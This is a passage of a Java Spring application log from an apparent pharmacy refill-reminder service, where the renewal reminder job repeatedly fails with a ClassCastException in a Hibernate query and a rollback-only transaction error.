org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 15:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 15:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 15:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 15:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 16:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 16:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 16:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 16:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 16:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 16:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 16:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 16:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 16:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 16:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 16:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 16:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 16:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 16:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 16:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 16:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 16:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 16:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 16:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 16:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 16:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 16:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 16:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 16:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 16:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 16:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 16:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 16:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 16:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 16:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 16:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 16:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 16:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 16:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 16:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 16:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 16:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 16:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 16:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at 